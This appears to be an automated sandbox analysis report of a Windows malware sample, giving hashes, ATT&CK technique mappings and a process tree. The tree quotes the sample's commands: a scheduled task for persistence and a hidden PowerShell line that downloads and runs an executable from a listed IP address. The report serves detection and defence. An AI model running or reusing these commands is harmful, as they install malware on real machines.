7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa

General

Target

MSAQZ_random.exe
Size

938KB
MD5

ed19338ae7b4f14a6300a82555194914
SHA1

c4b17e900215a704197817f8d419b40a07d687e8
SHA256

7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa
SHA512

64fc35627f5790aa025d05515e8b353ed7825f0cfaf975304933d33b219ccbf7e8e41f9f83152a0a8315568b5195dbbb669d446f6a58f5d3f3a9b9937d16ddca
SSDEEP

24576:9qDEvCTbMWu7rQYlBQcBiT6rprG8a0hu:9TvC/MTQYxsWR7a0h

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSAQZ_random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1628	MSAQZ_random.exe
1628	MSAQZ_random.exe
1628	MSAQZ_random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1628	MSAQZ_random.exe
1628	MSAQZ_random.exe
1628	MSAQZ_random.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 2364	1628	MSAQZ_random.exe	30
PID 1628 wrote to memory of 2364	1628	MSAQZ_random.exe	30
PID 1628 wrote to memory of 2364	1628	MSAQZ_random.exe	30
PID 1628 wrote to memory of 2364	1628	MSAQZ_random.exe	30
PID 1628 wrote to memory of 2596	1628	MSAQZ_random.exe	31
PID 1628 wrote to memory of 2596	1628	MSAQZ_random.exe	31
PID 1628 wrote to memory of 2596	1628	MSAQZ_random.exe	31
PID 1628 wrote to memory of 2596	1628	MSAQZ_random.exe	31
PID 2364 wrote to memory of 1456	2364	cmd.exe	33
PID 2364 wrote to memory of 1456	2364	cmd.exe	33
PID 2364 wrote to memory of 1456	2364	cmd.exe	33
PID 2364 wrote to memory of 1456	2364	cmd.exe	33
PID 2596 wrote to memory of 2324	2596	mshta.exe	34
PID 2596 wrote to memory of 2324	2596	mshta.exe	34
PID 2596 wrote to memory of 2324	2596	mshta.exe	34
PID 2596 wrote to memory of 2324	2596	mshta.exe	34

C:\Users\Admin\AppData\Local\Temp\MSAQZ_random.exe
"C:\Users\Admin\AppData\Local\Temp\MSAQZ_random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn st4mImaPIq4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn st4mImaPIq4 /tr "mshta C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1456
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7UC2BHEMG9NGZTFOR1HYNOK4HD0ALLXK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\N8b1aT3up.hta

Filesize
717B

MD5
75bef32b6afa7c11da58aa50228b5c5c

SHA1
3934e7f7f9a1a63d2f4689e04ad2c010af08708c

SHA256
d25fd05dba18c140d19edcce3d78e6d24aedd28cedccd9cf7a91224bfeed4bce

SHA512
83e281236ec2c57f4633b10346fb94cc7252aacb889af01bd8c188d43e84a50dff3d44bdecf10ba2312ceb13f9fa937d4beda671e3616e9133f40b747fed39ab

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads